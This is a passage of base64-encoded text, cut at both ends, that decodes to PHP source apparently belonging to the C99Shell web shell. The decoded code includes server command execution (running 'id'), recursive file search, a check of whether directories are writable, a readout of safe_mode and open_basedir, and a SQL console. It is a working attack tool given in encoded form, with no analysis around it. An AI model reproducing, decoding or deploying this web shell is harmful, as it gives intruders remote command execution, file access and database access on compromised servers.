c2xhc2hlcygkZGIpLiJgOyI7DQogaWYgKCRzb2NrKSB7cmV0dXJuIG15c3FsX3F1ZXJ5KCRzcWwsJHNvY2spO30NCiBlbHNlIHtyZXR1cm4gbXlzcWxfcXVlcnkoJHNxbCk7fQ0KfQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoIm15c3FsX3F1ZXJ5X3BhcnNlIikpDQp7DQpmdW5jdGlvbiBteXNxbF9xdWVyeV9wYXJzZSgkcXVlcnkpDQp7DQogJHF1ZXJ5ID0gdHJpbSgkcXVlcnkpOw0KICRhcnIgPSBleHBsb2RlICgiICIsJHF1ZXJ5KTsNCiAvKmFycmF5IGFycmF5KCkNCiB7DQogICJNRVRIT0QiPT5hcnJheShvdXRwdXRfdHlwZSksDQogICJNRVRIT0QxIi4uLg0KICAuLi4NCiB9DQogaWYgb3V0cHV0X3R5cGUgPT0gMCwgbm8gb3V0cHV0LA0KIGlmIG91dHB1dF90eXBlID09IDEsIG5vIG91dHB1dCBpZiBubyBlcnJvcg0KIGlmIG91dHB1dF90eXBlID09IDIsIG91dHB1dCB3aXRob3V0IGNvbnRyb2wtYnV0dG9ucw0KIGlmIG91dHB1dF90eXBlID09IDMsIG91dHB1dCB3aXRoIGNvbnRyb2wtYnV0dG9ucw0KICovDQogJHR5cGVzID0gYXJyYXkoDQogICJTRUxFQ1QiPT5hcnJheSgzLDEpLA0KICAiU0hPVyI9PmFycmF5KDIsMSksDQogICJERUxFVEUiPT5hcnJheSgxKSwNCiAgIkRST1AiPT5hcnJheSgxKQ0KICk7DQogJHJlc3VsdCA9IGFycmF5KCk7DQogJG9wID0gc3RydG91cHBlcigkYXJyWzBdKTsNCiBpZiAoaXNfYXJyYXkoJHR5cGVzWyRvcF0pKQ0KIHsNCiAgJHJlc3VsdFsicHJvcGVydGlvbnMiXSA9ICR0eXBlc1skb3BdOw0KICAkcmVzdWx0WyJxdWVyeSJdICA9ICRxdWVyeTsNCiAgaWYgKCR0eXBlc1skb3BdID09IDIpDQogIHsNCiAgIGZvcmVhY2goJGFyciBhcyAkaz0+JHYpDQogICB7DQogICAgaWYgKHN0cnRvdXBwZXIoJHYpID09ICJMSU1JVCIpDQogICAgew0KICAgICAkcmVzdWx0WyJsaW1pdCJdID0gJGFyclskaysxXTsNCiAgICAgJHJlc3VsdFsibGltaXQiXSA9IGV4cGxvZGUoIiwiLCRyZXN1bHRbImxpbWl0Il0pOw0KICAgICBpZiAoY291bnQoJHJlc3VsdFsibGltaXQiXSkgPT0gMSkgeyRyZXN1bHRbImxpbWl0Il0gPSBhcnJheSgwLCRyZXN1bHRbImxpbWl0Il1bMF0pO30NCiAgICAgdW5zZXQoJGFyclska10sJGFyclskaysxXSk7DQogICAgfQ0KICAgfQ0KICB9DQogfQ0KIGVsc2Uge3JldHVybiBGQUxTRTt9DQp9DQp9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygiYzk5ZnNlYXJjaCIpKQ0Kew0KZnVuY3Rpb24gYzk5ZnNlYXJjaCgkZCkNCnsNCiBnbG9iYWwgJGZvdW5kOw0KIGdsb2JhbCAkZm91bmRfZDsNCiBnbG9iYWwgJGZvdW5kX2Y7DQogZ2xvYmFsICRzZWFyY2hfaV9mOw0KIGdsb2JhbCAkc2VhcmNoX2lfZDsNCiBnbG9iYWwgJGE7DQogaWYgKHN1YnN0cigkZCwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyRkIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQ0KICRoID0gb3BlbmRpcigkZCk7DQogd2hpbGUgKCgkZiA9IHJlYWRkaXIoJGgpKSAhPT0gRkFMU0UpDQogew0KICBpZigkZiAhPSAiLiIgJiYgJGYgIT0gIi4uIikNCiAgew0KICAgJGJvb2wgPSAoZW1wdHkoJGFbIm5hbWVfcmVnZXhwIl0pIGFuZCBzdHJwb3MoJGYsJGFbIm5hbWUiXSkgIT09IEZBTFNFKSB8fCAoJGFbIm5hbWVfcmVnZXhwIl0gYW5kIGVyZWcoJGFbIm5hbWUiXSwkZikpOw0KICAgaWYgKGlzX2RpcigkZC4kZikpDQogICB7DQogICAgJHNlYXJjaF9pX2QrKzsNCiAgICBpZiAoZW1wdHkoJGFbInRleHQiXSkgYW5kICRib29sKSB7JGZvdW5kW10gPSAkZC4kZjsgJGZvdW5kX2QrKzt9DQogICAgaWYgKCFpc19saW5rKCRkLiRmKSkge2M5OWZzZWFyY2goJGQuJGYpO30NCiAgIH0NCiAgIGVsc2UNCiAgIHsNCiAgICAkc2VhcmNoX2lfZisrOw0KICAgIGlmICgkYm9vbCkNCiAgICB7DQogICAgIGlmICghZW1wdHkoJGFbInRleHQiXSkpDQogICAgIHsNCiAgICAgICRyID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRkLiRmKTsNCiAgICAgIGlmICgkYVsidGV4dF93d28iXSkgeyRhWyJ0ZXh0Il0gPSAiICIudHJpbSgkYVsidGV4dCJdKS4iICI7fQ0KICAgICAgaWYgKCEkYVsidGV4dF9jcyJdKSB7JGFbInRleHQiXSA9IHN0cnRvbG93ZXIoJGFbInRleHQiXSk7ICRyID0gc3RydG9sb3dlcigkcik7fQ0KICAgICAgaWYgKCRhWyJ0ZXh0X3JlZ2V4cCJdKSB7JGJvb2wgPSBlcmVnKCRhWyJ0ZXh0Il0sJHIpO30NCiAgICAgIGVsc2UgeyRib29sID0gc3RycG9zKCIgIi4kciwkYVsidGV4dCJdLDEpO30NCiAgICAgIGlmICgkYVsidGV4dF9ub3QiXSkgeyRib29sID0gISRib29sO30NCiAgICAgIGlmICgkYm9vbCkgeyRmb3VuZFtdID0gJGQuJGY7ICRmb3VuZF9mKys7fQ0KICAgICB9DQogICAgIGVsc2UgeyRmb3VuZFtdID0gJGQuJGY7ICRmb3VuZF9mKys7fQ0KICAgIH0NCiAgIH0NCiAgfQ0KIH0NCiBjbG9zZWRpcigkaCk7DQp9DQp9DQppZiAoJGFjdCA9PSAiZ29maWxlIikge2lmIChpc19kaXIoJGYpKSB7JGFjdCA9ICJscyI7ICRkID0gJGY7fSBlbHNlIHskYWN0ID0gImYiOyAkZCA9IGRpcm5hbWUoJGYpOyAkZiA9IGJhc2VuYW1lKCRmKTt9fQ0KLy9TZW5kaW5nIGhlYWRlcnMNCkBvYl9zdGFydCgpOw0KQG9iX2ltcGxpY2l0X2ZsdXNoKDApOw0KZnVuY3Rpb24gb25waHBzaHV0ZG93bigpDQp7DQogZ2xvYmFsICRnemlwZW5jb2RlLCRmdDsNCiBpZiAoIWhlYWRlcnNfc2VudCgpIGFuZCAkZ3ppcGVuY29kZSBhbmQgIWluX2FycmF5KCRmdCxhcnJheSgiaW1nIiwiZG93bmxvYWQiLCJub3RlcGFkIikpKQ0KIHsNCiAgJHYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7DQogIEBvYl9lbmRfY2xlYW4oKTsNCiAgQG9iX3N0YXJ0KCJvYl9nekhhbmRsZXIiKTsNCiAgZWNobyAkdjsNCiAgQG9iX2VuZF9mbHVzaCgpOw0KIH0NCn0NCmZ1bmN0aW9uIGM5OXNoZXhpdCgpDQp7DQogb25waHBzaHV0ZG93bigpOw0KIGV4aXQ7DQp9DQpoZWFkZXIoIkV4cGlyZXM6IE1vbiwgMjYgSnVsIDE5OTcgMDU6MDA6MDAgR01UIik7DQpoZWFkZXIoIkxhc3QtTW9kaWZpZWQ6ICIuZ21kYXRlKCJELCBkIE0gWSBIOmk6cyIpLiIgR01UIik7DQpoZWFkZXIoIkNhY2hlLUNvbnRyb2w6IG5vLXN0b3JlLCBuby1jYWNoZSwgbXVzdC1yZXZhbGlkYXRlIik7DQpoZWFkZXIoIkNhY2hlLUNvbnRyb2w6IHBvc3QtY2hlY2s9MCwgcHJlLWNoZWNrPTAiLCBGQUxTRSk7DQpoZWFkZXIoIlByYWdtYTogbm8tY2FjaGUiKTsNCmlmIChlbXB0eSgkdG1wZGlyKSkNCnsNCiAkdG1wZGlyID0gaW5pX2dldCgidXBsb2FkX3RtcF9kaXIiKTsNCiBpZiAoaXNfZGlyKCR0bXBkaXIpKSB7JHRtcGRpciA9ICIvdG1wLyI7fQ0KfQ0KJHRtcGRpciA9IHJlYWxwYXRoKCR0bXBkaXIpOw0KJHRtcGRpciA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkdG1wZGlyKTsNCmlmIChzdWJzdHIoJHRtcGRpciwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyR0bXBkaXIgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9DQppZiAoZW1wdHkoJHRtcGRpcl9sb2dzKSkgeyR0bXBkaXJfbG9ncyA9ICR0bXBkaXI7fQ0KZWxzZSB7JHRtcGRpcl9sb2dzID0gcmVhbHBhdGgoJHRtcGRpcl9sb2dzKTt9DQppZiAoQGluaV9nZXQoInNhZmVfbW9kZSIpIG9yIHN0cnRvbG93ZXIoQGluaV9nZXQoInNhZmVfbW9kZSIpKSA9PSAib24iKQ0Kew0KICRzYWZlbW9kZSA9IFRSVUU7DQogJGhzYWZlbW9kZSA9ICI8Zm9udCBjb2xvcj1yZWQ+T04gKHNlY3VyZSk8L2ZvbnQ+IjsNCn0NCmVsc2UgeyRzYWZlbW9kZSA9IEZBTFNFOyAkaHNhZmVtb2RlID0gIjxmb250IGNvbG9yPWdyZWVuPk9GRiAobm90IHNlY3VyZSk8L2ZvbnQ+Ijt9DQokdiA9IEBpbmlfZ2V0KCJvcGVuX2Jhc2VkaXIiKTsNCmlmICgkdiBvciBzdHJ0b2xvd2VyKCR2KSA9PSAib24iKSB7JG9wZW5iYXNlZGlyID0gVFJVRTsgJGhvcGVuYmFzZWRpciA9ICI8Zm9udCBjb2xvcj1yZWQ+Ii4kdi4iPC9mb250PiI7fQ0KZWxzZSB7JG9wZW5iYXNlZGlyID0gRkFMU0U7ICRob3BlbmJhc2VkaXIgPSAiPGZvbnQgY29sb3I9Z3JlZW4+T0ZGIChub3Qgc2VjdXJlKTwvZm9udD4iO30NCiRzb3J0ID0gaHRtbHNwZWNpYWxjaGFycygkc29ydCk7DQppZiAoZW1wdHkoJHNvcnQpKSB7JHNvcnQgPSAkc29ydF9kZWZhdWx0O30NCiRzb3J0WzFdID0gc3RydG9sb3dlcigkc29ydFsxXSk7DQokRElTUF9TRVJWRVJfU09GVFdBUkUgPSBnZXRlbnYoIlNFUlZFUl9TT0ZUV0FSRSIpOw0KaWYgKCFlcmVnKCJQSFAvIi5waHB2ZXJzaW9uKCksJERJU1BfU0VSVkVSX1NPRlRXQVJFKSkgeyRESVNQX1NFUlZFUl9TT0ZUV0FSRSAuPSAiLiBQSFAvIi5waHB2ZXJzaW9uKCk7fQ0KJERJU1BfU0VSVkVSX1NPRlRXQVJFID0gc3RyX3JlcGxhY2UoIlBIUC8iLnBocHZlcnNpb24oKSwiPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1waHBpbmZvXCIgdGFyZ2V0PVwiX2JsYW5rXCI+PGI+PHU+UEhQLyIucGhwdmVyc2lvbigpLiI8L3U+PC9iPjwvYT4iLGh0bWxzcGVjaWFsY2hhcnMoJERJU1BfU0VSVkVSX1NPRlRXQVJFKSk7DQpAaW5pX3NldCgiaGlnaGxpZ2h0LmJnIiwkaGlnaGxpZ2h0X2JnKTsgLy9GRkZGRkYNCkBpbmlfc2V0KCJoaWdobGlnaHQuY29tbWVudCIsJGhpZ2hsaWdodF9jb21tZW50KTsgLy8jRkY4MDAwDQpAaW5pX3NldCgiaGlnaGxpZ2h0LmRlZmF1bHQiLCRoaWdobGlnaHRfZGVmYXVsdCk7IC8vIzAwMDBCQg0KQGluaV9zZXQoImhpZ2hsaWdodC5odG1sIiwkaGlnaGxpZ2h0X2h0bWwpOyAvLyMwMDAwMDANCkBpbmlfc2V0KCJoaWdobGlnaHQua2V5d29yZCIsJGhpZ2hsaWdodF9rZXl3b3JkKTsgLy8jMDA3NzAwDQpAaW5pX3NldCgiaGlnaGxpZ2h0LnN0cmluZyIsJGhpZ2hsaWdodF9zdHJpbmcpOyAvLyNERDAwMDANCmlmICghaXNfYXJyYXkoJGFjdGJveCkpIHskYWN0Ym94ID0gYXJyYXkoKTt9DQokZHNwYWN0ID0gJGFjdCA9IGh0bWxzcGVjaWFsY2hhcnMoJGFjdCk7DQokZGlzcF9mdWxscGF0aCA9ICRsc19hcnIgPSAkbm90bHMgPSBudWxsOw0KJHVkID0gdXJsZW5jb2RlKCRkKTsNCj8+PGh0bWw+PGhlYWQ+PG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9d2luZG93cy0xMjUxIj48bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LUxhbmd1YWdlIiBjb250ZW50PSJlbi11cyI+PHRpdGxlPjw/cGhwIGVjaG8gZ2V0ZW52KCJIVFRQX0hPU1QiKTsgPz4gLSBwaHBzaGVsbDwvdGl0bGU+PFNUWUxFPlREIHsgRk9OVC1TSVpFOiA4cHQ7IENPTE9SOiAjZWJlYmViOyBGT05ULUZBTUlMWTogdmVyZGFuYTt9Qk9EWSB7IHNjcm9sbGJhci1mYWNlLWNvbG9yOiAjODAwMDAwOyBzY3JvbGxiYXItc2hhZG93LWNvbG9yOiAjMTAxMDEwOyBzY3JvbGxiYXItaGlnaGxpZ2h0LWNvbG9yOiAjMTAxMDEwOyBzY3JvbGxiYXItM2RsaWdodC1jb2xvcjogIzEwMTAxMDsgc2Nyb2xsYmFyLWRhcmtzaGFkb3ctY29sb3I6ICMxMDEwMTA7IHNjcm9sbGJhci10cmFjay1jb2xvcjogIzEwMTAxMDsgc2Nyb2xsYmFyLWFycm93LWNvbG9yOiAjMTAxMDEwOyBmb250LWZhbWlseTogVmVyZGFuYTt9VEQuaGVhZGVyIHsgRk9OVC1XRUlHSFQ6IG5vcm1hbDsgRk9OVC1TSVpFOiAxMHB0OyBCQUNLR1JPVU5EOiAjN2Q3NDc0OyBDT0xPUjogd2hpdGU7IEZPTlQtRkFNSUxZOiB2ZXJkYW5hO31BIHsgRk9OVC1XRUlHSFQ6IG5vcm1hbDsgQ09MT1I6ICNkYWRhZGE7IEZPTlQtRkFNSUxZOiB2ZXJkYW5hOyBURVhULURFQ09SQVRJT046IG5vbmU7fUE6dW5rbm93biB7IEZPTlQtV0VJR0hUOiBub3JtYWw7IENPTE9SOiAjZmZmZmZmOyBGT05ULUZBTUlMWTogdmVyZGFuYTsgVEVYVC1ERUNPUkFUSU9OOiBub25lO31BLkxpbmtzIHsgQ09MT1I6ICNmZmZmZmY7IFRFWFQtREVDT1JBVElPTjogbm9uZTt9QS5MaW5rczp1bmtub3duIHsgRk9OVC1XRUlHSFQ6IG5vcm1hbDsgQ09MT1I6ICNmZmZmZmY7IFRFWFQtREVDT1JBVElPTjogbm9uZTt9QTpob3ZlciB7IENPTE9SOiAjZmZmZmZmOyBURVhULURFQ09SQVRJT046IHVuZGVybGluZTt9LnNraW4we3Bvc2l0aW9uOmFic29sdXRlOyB3aWR0aDoyMDBweDsgYm9yZGVyOjJweCBzb2xpZCBibGFjazsgYmFja2dyb3VuZC1jb2xvcjptZW51OyBmb250LWZhbWlseTpWZXJkYW5hOyBsaW5lLWhlaWdodDoyMHB4OyBjdXJzb3I6ZGVmYXVsdDsgdmlzaWJpbGl0eTpoaWRkZW47O30uc2tpbjF7Y3Vyc29yOiBkZWZhdWx0OyBmb250OiBtZW51dGV4dDsgcG9zaXRpb246IGFic29sdXRlOyB3aWR0aDogMTQ1cHg7IGJhY2tncm91bmQtY29sb3I6IG1lbnU7IGJvcmRlcjogMSBzb2xpZCBidXR0b25mYWNlO3Zpc2liaWxpdHk6aGlkZGVuOyBib3JkZXI6IDIgb3V0c2V0IGJ1dHRvbmhpZ2hsaWdodDsgZm9udC1mYW1pbHk6IFZlcmRhbmEsR2VuZXZhLCBBcmlhbDsgZm9udC1zaXplOiAxMHB4OyBjb2xvcjogYmxhY2s7fS5tZW51aXRlbXN7cGFkZGluZy1sZWZ0OjE1cHg7IHBhZGRpbmctcmlnaHQ6MTBweDs7fWlucHV0e2JhY2tncm91bmQtY29sb3I6ICM4MDAwMDA7IGZvbnQtc2l6ZTogOHB0OyBjb2xvcjogI0ZGRkZGRjsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxIHNvbGlkICM2NjY2NjY7fXRleHRhcmVhe2JhY2tncm91bmQtY29sb3I6ICM4MDAwMDA7IGZvbnQtc2l6ZTogOHB0OyBjb2xvcjogI0ZGRkZGRjsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxIHNvbGlkICM2NjY2NjY7fWJ1dHRvbntiYWNrZ3JvdW5kLWNvbG9yOiAjODAwMDAwOyBmb250LXNpemU6IDhwdDsgY29sb3I6ICNGRkZGRkY7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMSBzb2xpZCAjNjY2NjY2O31zZWxlY3R7YmFja2dyb3VuZC1jb2xvcjogIzgwMDAwMDsgZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjRkZGRkZGOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDEgc29saWQgIzY2NjY2Njt9b3B0aW9uIHtiYWNrZ3JvdW5kLWNvbG9yOiAjODAwMDAwOyBmb250LXNpemU6IDhwdDsgY29sb3I6ICNGRkZGRkY7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMSBzb2xpZCAjNjY2NjY2O31pZnJhbWUge2JhY2tncm91bmQtY29sb3I6ICM4MDAwMDA7IGZvbnQtc2l6ZTogOHB0OyBjb2xvcjogI0ZGRkZGRjsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxIHNvbGlkICM2NjY2NjY7fXAge01BUkdJTi1UT1A6IDBweDsgTUFSR0lOLUJPVFRPTTogMHB4OyBMSU5FLUhFSUdIVDogMTUwJX1ibG9ja3F1b3RleyBmb250LXNpemU6IDhwdDsgZm9udC1mYW1pbHk6IENvdXJpZXIsIEZpeGVkLCBBcmlhbDsgYm9yZGVyIDogOHB4IHNvbGlkICNBOUE5QTk7IHBhZGRpbmc6IDFlbTsgbWFyZ2luLXRvcDogMWVtOyBtYXJnaW4tYm90dG9tOiA1ZW07IG1hcmdpbi1yaWdodDogM2VtOyBtYXJnaW4tbGVmdDogNGVtOyBiYWNrZ3JvdW5kLWNvbG9yOiAjQjdCMkIwO31ib2R5LHRkLHRoIHsgZm9udC1mYW1pbHk6IHZlcmRhbmE7IGNvbG9yOiAjZDlkOWQ5OyBmb250LXNpemU6IDExcHg7fWJvZHkgeyBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwO308L3N0eWxlPjwvaGVhZD48Qk9EWSB0ZXh0PSNmZmZmZmYgYm90dG9tTWFyZ2luPTAgYmdDb2xvcj0jMDAwMDAwIGxlZnRNYXJnaW49MCB0b3BNYXJnaW49MCByaWdodE1hcmdpbj0wIG1hcmdpbmhlaWdodD0wIG1hcmdpbndpZHRoPTA+PGNlbnRlcj48VEFCTEUgc3R5bGU9IkJPUkRFUi1DT0xMQVBTRTogY29sbGFwc2UiIGhlaWdodD0xIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSB3aWR0aD0iMTAwJSIgYmdDb2xvcj0jMzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MSBib3JkZXJjb2xvcj0iI0MwQzBDMCI+PHRyPjx0aCB3aWR0aD0iMTAxJSIgaGVpZ2h0PSIxNSIgbm93cmFwIGJvcmRlcmNvbG9yPSIjQzBDMEMwIiB2YWxpZ249InRvcCIgY29sc3Bhbj0iMiI+PHA+PGZvbnQgZmFjZT1XZWJkaW5ncyBzaXplPTY+PGI+ITwvYj48L2ZvbnQ+PGEgaHJlZj0iPD9waHAgZWNobyAkc3VybDsgPz4iPjxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjUiPjxiPkM5OVNoZWxsIHYuIDw/cGhwIGVjaG8gJHNodmVyOyA/PjwvYj48L2ZvbnQ+PC9hPjxmb250IGZhY2U9V2ViZGluZ3Mgc2l6ZT02PjxiPiE8L2I+PC9mb250PjwvcD48L2NlbnRlcj48L3RoPjwvdHI+PHRyPjx0ZD48cCBhbGlnbj0ibGVmdCI+PGI+U29mdHdhcmU6Jm5ic3A7PD9waHAgZWNobyAkRElTUF9TRVJWRVJfU09GVFdBUkU7ID8+PC9iPiZuYnNwOzwvcD48cCBhbGlnbj0ibGVmdCI+PGI+dW5hbWUgLWE6Jm5ic3A7PD9waHAgZWNobyB3b3Jkd3JhcChwaHBfdW5hbWUoKSw5MCwiPGJyPiIsMSk7ID8+PC9iPiZuYnNwOzwvcD48cCBhbGlnbj0ibGVmdCI+PGI+PD9waHAgaWYgKCEkd2luKSB7ZWNobyB3b3Jkd3JhcChteXNoZWxsZXhlYygiaWQiKSw5MCwiPGJyPiIsMSk7fSBlbHNlIHtlY2hvIGdldF9jdXJyZW50X3VzZXIoKTt9ID8+PC9iPiZuYnNwOzwvcD48cCBhbGlnbj0ibGVmdCI+PGI+U2FmZS1tb2RlOiZuYnNwOzw/cGhwIGVjaG8gJGhzYWZlbW9kZTsgPz48L2I+PC9wPjxwIGFsaWduPSJsZWZ0Ij48P3BocA0KJGQgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJGQpOw0KaWYgKGVtcHR5KCRkKSkgeyRkID0gcmVhbHBhdGgoIi4iKTt9IGVsc2VpZihyZWFscGF0aCgkZCkpIHskZCA9IHJlYWxwYXRoKCRkKTt9DQokZCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7DQppZiAoc3Vic3RyKCRkLC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JGQgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9DQokZCA9IHN0cl9yZXBsYWNlKCJcXFxcIiwiXFwiLCRkKTsNCiRkaXNwZCA9IGh0bWxzcGVjaWFsY2hhcnMoJGQpOw0KJHBkID0gJGUgPSBleHBsb2RlKERJUkVDVE9SWV9TRVBBUkFUT1Isc3Vic3RyKCRkLDAsLTEpKTsNCiRpID0gMDsNCmZvcmVhY2goJHBkIGFzICRiKQ0Kew0KICR0ID0gIiI7DQogJGogPSAwOw0KIGZvcmVhY2ggKCRlIGFzICRyKQ0KIHsNCiAgJHQuPSAkci5ESVJFQ1RPUllfU0VQQVJBVE9SOw0KICBpZiAoJGogPT0gJGkpIHticmVhazt9DQogICRqKys7DQogfQ0KIGVjaG8gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9bHMmZD0iLnVybGVuY29kZSgkdCkuIiZzb3J0PSIuJHNvcnQuIlwiPjxiPiIuaHRtbHNwZWNpYWxjaGFycygkYikuRElSRUNUT1JZX1NFUEFSQVRPUi4iPC9iPjwvYT4iOw0KICRpKys7DQp9DQplY2hvICImbmJzcDsmbmJzcDsmbmJzcDsiOw0KaWYgKGlzX3dyaXRhYmxlKCRkKSkNCnsNCiAkd2QgPSBUUlVFOw0KICR3ZHQgPSAiPGZvbnQgY29sb3I9Z3JlZW4+WyBvayBdPC9mb250PiI7DQogZWNobyAiPGI+PGZvbnQgY29sb3I9Z3JlZW4+Ii52aWV3X3Blcm1zKGZpbGVwZXJtcygkZCkpLiI8L2ZvbnQ+PC9iPiI7DQp9DQplbHNlDQp7DQogJHdkID0gRkFMU0U7DQogJHdkdCA9ICI8Zm9udCBjb2xvcj1yZWQ+WyBSZWFkLU9ubHkgXTwvZm9udD4iOw0KIGVjaG8gIjxiPiIudmlld19wZXJtc19jb2xvcigkZCkuIjwvYj4iOw0KfQ0KaWYgKGlzX2NhbGxhYmxlKCJkaXNrX2ZyZWVfc3BhY2UiKSkNCnsNCiAkZnJlZSA9IGRpc2tfZnJlZV9zcGFjZSgkZCk7DQogJHRvdGFsID0gZGlza190b3RhbF9zcGFjZSgkZCk7DQogaWYgKCRmcmVlID09PSBGQUxTRSkgeyRmcmVlID0gMDt9DQogaWYgKCR0b3RhbCA9PT0gRkFMU0UpIHskdG90YWwgPSAwO30NCiBpZiAoJGZyZWUgPCAwKSB7JGZyZWUgPSAwO30NCiBpZiAoJHRvdGFsIDwgMCkgeyR0b3RhbCA9IDA7fQ0KICR1c2VkID0gJHRvdGFsLSRmcmVlOw0KICRmcmVlX3BlcmNlbnQgPSByb3VuZCgxMDAvKCR0b3RhbC8kZnJlZSksMik7DQogZWNobyAiPGJyPjxiPkZyZWUgIi52aWV3X3NpemUoJGZyZWUpLiIgb2YgIi52aWV3X3NpemUoJHRvdGFsKS4iICgiLiRmcmVlX3BlcmNlbnQuIiUpPC9iPiI7DQp9DQplY2hvICI8YnI+IjsNCiRsZXR0ZXJzID0gIiI7DQppZiAoJHdpbikNCnsNCiAkdiA9IGV4cGxvZGUoIlxcIiwkZCk7DQogJHYgPSAkdlswXTsNCiBmb3JlYWNoIChyYW5nZSgiYSIsInoiKSBhcyAkbGV0dGVyKQ0KIHsNCiAgJGJvb2wgPSAkaXNkaXNrZXR0ZSA9IGluX2FycmF5KCRsZXR0ZXIsJHNhZmVtb2RlX2Rpc2tldHRlcyk7DQogIGlmICghJGJvb2wpIHskYm9vbCA9IGlzX2RpcigkbGV0dGVyLiI6XFwiKTt9DQogIGlmICgkYm9vbCkNCiAgew0KICAgJGxldHRlcnMgLj0gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9bHMmZD0iLnVybGVuY29kZSgkbGV0dGVyLiI6XFwiKS4iXCIiLigkaXNkaXNrZXR0ZT8iIG9uY2xpY2s9XCJyZXR1cm4gY29uZmlybSgnTWFrZSBzdXJlIHRoYXQgdGhlIGRpc2tldHRlIGlzIGluc2VydGVkIHByb3Blcmx5LCBvdGhlcndpc2UgYW4gZXJyb3IgbWF5IG9jY3VyLicpXCIiOiIiKS4iPlsgIjsNCiAgIGlmICgkbGV0dGVyLiI6IiAhPSAkdikgeyRsZXR0ZXJzIC49ICRsZXR0ZXI7fQ0KICAgZWxzZSB7JGxldHRlcnMgLj0gIjxmb250IGNvbG9yPWdyZWVuPiIuJGxldHRlci4iPC9mb250PiI7fQ0KICAgJGxldHRlcnMgLj0gIiBdPC9hPiAiOw0KICB9DQogfQ0KIGlmICghZW1wdHkoJGxldHRlcnMpKSB7ZWNobyAiPGI+RGV0ZWN0ZWQgZHJpdmVzPC9iPjogIi4kbGV0dGVycy4iPGJyPiI7fQ0KfQ0KaWYgKGNvdW50KCRxdWlja2xhdW5jaCkgPiAwKQ0Kew0KIGZvcmVhY2goJHF1aWNrbGF1bmNoIGFzICRpdGVtKQ0KIHsNCiAgJGl0ZW1bMV0gPSBzdHJfcmVwbGFjZSgiJWQiLHVybGVuY29kZSgkZCksJGl0ZW1bMV0pOw0KICAkaXRlbVsxXSA9IHN0cl9yZXBsYWNlKCIlc29ydCIsJHNvcnQsJGl0ZW1bMV0pOw0KICAkdiA9IHJlYWxwYXRoKCRkLiIuLiIpOw0KICBpZiAoZW1wdHkoJHYpKSB7JGEgPSBleHBsb2RlKERJUkVDVE9SWV9TRVBBUkFUT1IsJGQpOyB1bnNldCgkYVtjb3VudCgkYSktMl0pOyAkdiA9IGpvaW4oRElSRUNUT1JZX1NFUEFSQVRPUiwkYSk7fQ0KICAkaXRlbVsxXSA9IHN0cl9yZXBsYWNlKCIldXBkIix1cmxlbmNvZGUoJHYpLCRpdGVtWzFdKTsNCiAgZWNobyAiPGEgaHJlZj1cIiIuJGl0ZW1bMV0uIlwiPiIuJGl0ZW1bMF0uIjwvYT4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsiOw0KIH0NCn0NCmVjaG8gIjwvcD48L3RkPjwvdHI+PC90YWJsZT48YnI+IjsNCmlmICgoIWVtcHR5KCRkb25hdGVkX2h0bWwpKSBhbmQgKGluX2FycmF5KCRhY3QsJGRvbmF0ZWRfYWN0KSkpIHtlY2hvICI8VEFCTEUgc3R5bGU9XCJCT1JERVItQ09MTEFQU0U6IGNvbGxhcHNlXCIgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFkZGluZz01IHdpZHRoPVwiMTAwJVwiIGJnQ29sb3I9IzMzMzMzMyBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTE+PHRyPjx0ZCB3aWR0aD1cIjEwMCVcIiB2YWxpZ249XCJ0b3BcIj4iLiRkb25hdGVkX2h0bWwuIjwvdGQ+PC90cj48L3RhYmxlPjxicj4iO30NCmVjaG8gIjxUQUJMRSBzdHlsZT1cIkJPUkRFUi1DT0xMQVBTRTogY29sbGFwc2VcIiBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTUgd2lkdGg9XCIxMDAlXCIgYmdDb2xvcj0jMzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MT48dHI+PHRkIHdpZHRoPVwiMTAwJVwiIHZhbGlnbj1cInRvcFwiPiI7DQppZiAoJGFjdCA9PSAiIikgeyRhY3QgPSAkZHNwYWN0ID0gImxzIjt9DQppZiAoJGFjdCA9PSAic3FsIikNCnsNCiAkc3FsX3N1cmwgPSAkc3VybC4iYWN0PXNxbCI7DQogaWYgKCRzcWxfbG9naW4pICB7JHNxbF9zdXJsIC49ICImc3FsX2x